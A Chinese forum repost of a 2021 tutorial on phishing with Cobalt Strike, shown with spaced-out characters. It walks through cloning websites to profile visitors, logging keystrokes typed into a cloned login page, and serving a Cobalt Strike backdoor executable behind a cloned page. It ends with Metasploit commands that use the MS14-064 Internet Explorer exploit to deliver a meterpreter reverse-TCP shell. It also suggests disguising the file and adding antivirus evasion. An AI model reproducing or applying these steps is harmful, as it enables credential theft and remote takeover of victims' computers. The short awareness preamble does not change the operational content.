搜索

[21912] 2021-04-27_渗透地基钓鱼篇-CobaltStrike钓鱼

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-04-27_渗透地基钓鱼篇-CobaltStrike钓鱼 0 x 0 1   前 言 前 言 0 x 0 2   环 境 介 绍 环 境 介 绍 渗 透 地 基 钓 鱼 篇 - C o b a l t   S t r i k e 钓 鱼 L e m o n S e c   2 0 2 1 - 0 4 - 2 7 转 自 潇 湘 信 安 网 络 钓 鱼 是 社 会 工 程 学 攻 击 方 式 之 一 ， 主 要 是 通 过 对 受 害 者 心 理 弱 点 、 本 能 反 应 、 好 奇 心 、 信 任 、 贪 婪 等 心 理 陷 阱 进 行 诸 如 欺 骗 、 伤 害 等 危 害 手 段 ！ 网 络 钓 鱼 攻 击 是 个 人 和 公 司 在 保 护 其 信 息 安 全 方 面 面 临 的 最 常 见 的 安 全 挑 战 之 一 。 无 论 是 获 取 密 码 、 信 用 卡 还 是 其 他 敏 感 信 息 ， 黑 客 都 在 使 用 电 子 邮 件 、 社 交 媒 体 、 电 话 和 任 何 可 能 的 通 信 方 式 窃 取 有 价 值 的 数 据 。 网 络 钓 鱼 攻 击 的 兴 起 对 所 有 组 织 都 构 成 了 重 大 威 胁 。 重 要 的 是 ， 如 果 他 们 要 保 护 自 己 的 信 息 ， 所 有 组 织 都 应 该 知 道 如 何 发 现 一 些 最 常 见 的 网 络 钓 鱼 骗 局 。 同 样 还 要 熟 悉 攻 击 者 用 来 实 施 这 些 骗 局 的 一 些 最 常 见 的 技 术 类 型 。 这 篇 主 要 演 示 如 何 克 隆 和 利 用 漏 洞 等 方 式 进 行 钓 鱼 ， 并 控 制 对 方 ！ ！ 黑 客 （ 攻 击 者 ） ： 黑 客 （ 攻 击 者 ） ： I P ： 1 9 2 . 1 6 8 . 1 . 9 系 统 ： k a l i . 2 0 2 0 . 4 V P S 服 务 器 ： 服 务 器 ： 目 前 演 示 是 用 k a l i 来 架 设 做 V P S 公 网 服 务 器 的 ！ 道 理 意 义 一 样 ！ 办 公 电 脑 ： 办 公 电 脑 ： 系 统 ： w i n d w o s 7 和 w i n d w o s   x p
0 x 0 3   钓 鱼 演 示 钓 鱼 演 示 目 前 k a l i 上 运 行 了 C o b a l t   s t r i k e   ， 攻 击 者 在 自 己 的 公 网 V P S 服 务 器 上 制 作 了 后 门 页 面 钓 鱼 ， 通 过 各 种 方 式 办 公 电 脑 收 到 对 方 邮 件 或 者 各 种 手 段 发 送 的 钓 鱼 链 接 ， 最 终 黑 客 控 制 办 公 电 脑 的 过 程 ！ ！ 下 面 会 演 示 到 所 有 C S 自 带 模 块 中 的 钓 鱼 攻 击 演 示 ！ ！ 1 、 智 能 收 集 、 智 能 收 集 打 开 S y s t e m   P r o f i l e r - 分 析 器 功 能 … ， 选 择 克 隆 w w w . b a i d u . c o m 页 面 做 钓 鱼 …
攻 击 对 象 访 问 ： h t t p : / / 1 9 2 . 1 6 8 . 1 . 9 / b a i d u 当 通 过 各 种 形 式 … 将 1 9 2 . 1 6 8 . 1 . 9 / b a i d u 链 接 发 送 给 对 方 ， 让 对 方 点 击 后 … 跳 转 到 了 b a i d u 页 面 …
可 看 到 选 择 应 用 信 息 后 ， 钓 到 了 客 户 用 的 系 统 以 及 浏 览 器 版 本 型 号 … 这 里 别 小 看 两 个 信 息 ， 思 路 是 该 模 块 可 以 修 改 ， 利 用 溢 出 代 码 等 形 式 提 权 或 者 获 得 更 多 的 信 息 收 集 … 下 面 我 会 写 一 些 演 示 ！ ！ 2 、 克 隆 模 块 和 克 隆 网 站 进 行 键 盘 记 录 攻 击 、 克 隆 模 块 和 克 隆 网 站 进 行 键 盘 记 录 攻 击 打 开 W e b   D r i v e - b y – C l o n e   S i t e 克 隆 网 站 模 块 …
这 里 克 隆 网 站 可 以 是 h t t p 和 h t t p s 的 U R L … 克 隆 到 1 9 2 . 1 6 8 . 2 . 1 5 3 : 8 0 1 链 接 上 ！ ！ 勾 选 L o g   K e y s t r o k e s   o n   c l o n e d   s i t e 后 ， 记 录 键 盘 操 作 ！ 打 开 W e b   L o g 功 能 查 看 被 攻 击 方 登 录 页 面 的 操 作 情 况 ！
可 看 到 访 问 1 9 2 . 1 6 8 . 2 . 1 5 3 : 8 0 1 页 面 输 入 了 用 户 名 密 码 … 可 看 到 记 录 了 对 方 输 入 键 盘 的 信 息 ！ ！
3 、 克 隆 网 站 下 载 执 行 木 马 、 克 隆 网 站 下 载 执 行 木 马 打 开 H o s t   F i l e   克 隆 一 个 页 面 并 提 供 一 个 后 门 文 件 … f i l e ： 选 择 C S 生 成 的 s h e l l ， 或 者 M S F 也 行 ！ 确 定 U R L 下 载 的 地 址 端 口 链 接 等 情 况 ！
生 成 h t t p : / / 1 9 2 . 1 6 8 . 2 . 1 5 3 : 8 0 1 / u p l o a d . e x e 恶 意 链 接 … 然 后 回 到 方 法 2 中 ！ ！ 在 打 开 C l o n e   S i t e 联 动 克 隆 模 块 ， 将 克 隆 b a i d u 页 面 ， A t t a c k 攻 击 选 择 恶 意 链 接 页 面 进 行 钓 鱼 ！ 意 思 就 是 对 方 访 问 h t t p : / / 1 9 2 . 1 6 8 . 2 . 1 5 3 : 8 0 1 / d a y u 页 面 后 会 直 接 下 载 a t t a c k 恶 意 链 接 后 门 文 件 ， 页 面 正 常 跳 转 到 百 度 页 面 ！
可 看 到 g o o g l e 访 问 该 页 面 下 载 了 u p l o a d . e x e 生 成 的 C S 后 门 文 件 … 这 里 g o o g l e 带 有 w e b 安 全 下 载 防 御 功 能 ， I E 高 版 本 也 会 有 提 示 ， 这 种 思 路 是 两 个 模 块 配 合 完 成 的 ， 其 中 可 以 修 改 图 标 、 文 件 名 、 弄 个 免 杀 、 换 个 欺 骗 链 接 ， 很 好 钓 鱼 ！
4 、 、 M e t a s p l o i t 溢 出 代 码 与 溢 出 代 码 与 C o b a l t   S t r i k 配 合 钓 鱼 配 合 钓 鱼 本 次 演 示 的 是 思 路 ， 拿 的 是 一 个 针 对 X P 或 者 以 下 系 统 ， 利 用 M S 1 4 _ 0 6 4 利 用 I E 执 行 远 控 木 马 … 记 住 是 思 路 ！ ！ 这 里 很 简 单 ， M S F 执 行 e x p l o i t 即 可 获 得 恶 意 链 接 ： h t t p : / / 1 9 2 . 1 6 8 . 2 . 1 5 3 : 6 6 6 6 / S i x c r a ！ u s e   e x p l o i t / w i n d o w s / b r o w s e r / m s 1 4 _ 0 6 4 _ o l e _ c o d e _ e x e c u t i o n s e t   s r v h o s t   1 9 2 . 1 6 8 . 2 . 1 5 3 s e t   S R V P O R T   6 6 6 6 s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 2 . 1 5 3 e x p l o i t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理